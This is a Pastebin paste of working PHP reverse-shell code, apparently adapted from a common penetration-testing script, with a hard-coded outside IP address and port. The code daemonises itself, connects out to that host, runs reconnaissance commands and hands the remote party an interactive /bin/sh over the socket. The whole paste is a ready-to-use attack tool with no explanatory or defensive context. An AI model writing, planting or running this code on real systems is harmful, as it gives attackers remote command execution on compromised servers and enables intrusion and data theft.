Advertisement
Guest User

Untitled

a guest
Jul 23rd, 2014
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.08 KB | None | 0 0
  1. set_time_limit (0);
  2. $VERSION = "1.0";
  3. $ip = '84.121.214.204'; // CHANGE THIS
  4. $port = 11457; // CHANGE THIS
  5. $chunk_size = 1400;
  6. $write_a = null;
  7. $error_a = null;
  8. $shell = 'uname -a; w; id; /bin/sh -i';
  9. $daemon = 0;
  10. $debug = 0;
  11.  
  12. //
  13. // Daemonise ourself if possible to avoid zombies later
  14. //
  15.  
  16. // pcntl_fork is hardly ever available, but will allow us to daemonise
  17. // our php process and avoid zombies. Worth a try...
  18. if (function_exists('pcntl_fork')) {
  19. // Fork and have the parent process exit
  20. $pid = pcntl_fork();
  21.  
  22. if ($pid == -1) {
  23. printit("ERROR: Can't fork");
  24. exit(1);
  25. }
  26.  
  27. if ($pid) {
  28. exit(0); // Parent exits
  29. }
  30.  
  31. // Make the current process a session leader
  32. // Will only succeed if we forked
  33. if (posix_setsid() == -1) {
  34. printit("Error: Can't setsid()");
  35. exit(1);
  36. }
  37.  
  38. $daemon = 1;
  39. } else {
  40. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  41. }
  42.  
  43. // Change to a safe directory
  44. chdir("/");
  45.  
  46. // Remove any umask we inherited
  47. umask(0);
  48.  
  49. //
  50. // Do the reverse shell...
  51. //
  52.  
  53. // Open reverse connection
  54. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  55. if (!$sock) {
  56. printit("$errstr ($errno)");
  57. exit(1);
  58. }
  59.  
  60. // Spawn shell process
  61. $descriptorspec = array(
  62. 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
  63. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  64. 2 => array("pipe", "w") // stderr is a pipe that the child will write to
  65. );
  66.  
  67. $process = proc_open($shell, $descriptorspec, $pipes);
  68.  
  69. if (!is_resource($process)) {
  70. printit("ERROR: Can't spawn shell");
  71. exit(1);
  72. }
  73.  
  74. // Set everything to non-blocking
  75. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  76. stream_set_blocking($pipes[0], 0);
  77. stream_set_blocking($pipes[1], 0);
  78. stream_set_blocking($pipes[2], 0);
  79. stream_set_blocking($sock, 0);
  80.  
  81. printit("Successfully opened reverse shell to $ip:$port");
  82.  
  83. while (1) {
  84. // Check for end of TCP connection
  85. if (feof($sock)) {
  86. printit("ERROR: Shell connection terminated");
  87. break;
  88. }
  89.  
  90. // Check for end of STDOUT
  91. if (feof($pipes[1])) {
  92. printit("ERROR: Shell process terminated");
  93. break;
  94. }
  95.  
  96. // Wait until a command is end down $sock, or some
  97. // command output is available on STDOUT or STDERR
  98. $read_a = array($sock, $pipes[1], $pipes[2]);
  99. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  100.  
  101. // If we can read from the TCP socket, send
  102. // data to process's STDIN
  103. if (in_array($sock, $read_a)) {
  104. if ($debug) printit("SOCK READ");
  105. $input = fread($sock, $chunk_size);
  106. if ($debug) printit("SOCK: $input");
  107. fwrite($pipes[0], $input);
  108. }
  109.  
  110. // If we can read from the process's STDOUT
  111. // send data down tcp connection
  112. if (in_array($pipes[1], $read_a)) {
  113. if ($debug) printit("STDOUT READ");
  114. $input = fread($pipes[1], $chunk_size);
  115. if ($debug) printit("STDOUT: $input");
  116. fwrite($sock, $input);
  117. }
  118.  
  119. // If we can read from the process's STDERR
  120. // send data down tcp connection
  121. if (in_array($pipes[2], $read_a)) {
  122. if ($debug) printit("STDERR READ");
  123. $input = fread($pipes[2], $chunk_size);
  124. if ($debug) printit("STDERR: $input");
  125. fwrite($sock, $input);
  126. }
  127. }
  128.  
  129. fclose($sock);
  130. fclose($pipes[0]);
  131. fclose($pipes[1]);
  132. fclose($pipes[2]);
  133. proc_close($process);
  134.  
  135. // Like print, but does nothing if we've daemonised ourself
  136. // (I can't figure out how to redirect STDOUT like a proper daemon)
  137. function printit ($string) {
  138. if (!$daemon) {
  139. print "$string\n";
  140. }
  141. }
  142.  
  143. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement